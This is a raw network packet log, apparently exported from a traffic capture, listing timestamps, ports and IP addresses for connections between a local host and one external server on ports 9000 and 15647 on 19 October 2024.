Oct 19, 2024 03:37:11.837860107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837871075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.837878942 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.837903023 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.838422060 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838432074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838439941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838449001 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838459015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838469028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838470936 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.838475943 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838489056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838500977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838510036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.838514090 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.838565111 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839010000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839020967 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839030027 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839039087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839047909 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839057922 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839061975 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839068890 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839085102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839088917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839096069 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839107037 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839107037 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839138985 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839329958 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839356899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839378119 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839538097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839549065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839557886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839565992 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839575052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839585066 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839591026 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839595079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839606047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839613914 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839621067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839634895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839639902 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839646101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839657068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839663982 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839668036 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839677095 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.839678049 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.839710951 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840130091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840141058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840150118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840159893 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840172052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840177059 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840183020 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840192080 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840195894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840207100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840214968 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840224028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840234041 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840239048 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840245008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840255022 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840264082 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840272903 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840279102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840290070 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840296984 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840302944 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840313911 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840315104 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840325117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840333939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840337038 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840347052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840353966 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840359926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840379953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840387106 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.840964079 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840975046 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840984106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.840993881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841013908 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841026068 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841227055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841243029 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841253042 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841262102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841272116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841275930 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841281891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841293097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841303110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841310024 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841316938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841326952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841331005 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841337919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841348886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841348886 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841358900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841370106 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841371059 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841379881 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841389894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841394901 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841403008 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841412067 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.841413975 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841434002 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841455936 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.841991901 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842004061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842012882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842021942 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842031956 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842040062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842042923 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842051983 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842061996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842068911 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842077971 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842081070 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842089891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842099905 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842107058 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842109919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842120886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842128992 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842133045 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842143059 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842148066 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842154980 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842165947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842175007 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842180014 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842185974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842195034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842204094 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842206955 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842219114 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842236996 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842871904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842883110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842899084 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842909098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842920065 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842920065 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842931986 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842935085 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842943907 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842955112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842962027 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.842971087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.842993021 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843014002 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843362093 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843377113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843405962 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843413115 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843416929 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843427896 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843439102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843447924 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843451977 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843458891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843470097 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843477011 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843481064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843492985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843502998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843508959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843508959 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843514919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843521118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843525887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843528032 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843552113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843563080 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843563080 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843575001 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843585014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843595028 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.843597889 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.843630075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.870194912 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:11.897313118 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.918869019 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:11.923683882 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.071141005 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.076231003 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.084770918 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.091763973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.091877937 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.185209990 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.225459099 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.229603052 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.262195110 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.314538002 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.483545065 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.604252100 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.604325056 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.604384899 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.604964018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.609138966 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.647337914 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.695856094 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.701297998 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.804589987 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.812211037 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.868427992 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.912966967 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.913675070 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:12.918447018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:12.970271111 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.012777090 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.012854099 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.023169041 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.029408932 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.114655972 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.135076046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.140038013 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.241727114 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.246608019 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.291646004 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.334853888 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.351085901 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.355896950 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.401814938 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.444304943 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.460504055 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.465342999 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.476197958 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.522345066 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.546175003 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.569749117 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.618294001 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.620589018 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.662981033 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.679745913 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.684859991 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.789815903 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.794923067 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.805120945 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.850474119 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.898010969 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:13.946293116 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.946753979 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.949465036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:13.953393936 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.007513046 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.012360096 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.091310024 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.116662025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.121602058 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.226438999 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.231307983 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.235316992 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.287987947 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.340771914 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.383131981 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.428603888 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.448357105 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.493103027 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.537990093 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.554147005 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.568114042 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.616157055 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.637093067 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.678627014 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.697189093 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.742357969 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.821255922 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.866141081 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.876146078 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:14.881069899 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.969923973 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:14.997507095 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.002883911 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.134768963 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.139760971 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.142813921 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.194281101 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.264326096 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.288799047 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.289896965 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.290298939 CEST	49706	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.295195103 CEST	9000	49706	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.295211077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.295284986 CEST	49706	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.295309067 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.295455933 CEST	49706	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.300249100 CEST	9000	49706	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.338262081 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.381752968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.398598909 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.410346985 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.460021019 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.507349968 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.554375887 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.557303905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.600528955 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.616662979 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.621531010 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.726037025 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.730953932 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.742852926 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.788022995 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.835458040 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.883619070 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.886449099 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:15.886514902 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.945939064 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:15.994359016 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.027996063 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.060492992 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:16.065493107 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:16.163805008 CEST	49704	15647	192.168.2.5	213.109.202.97
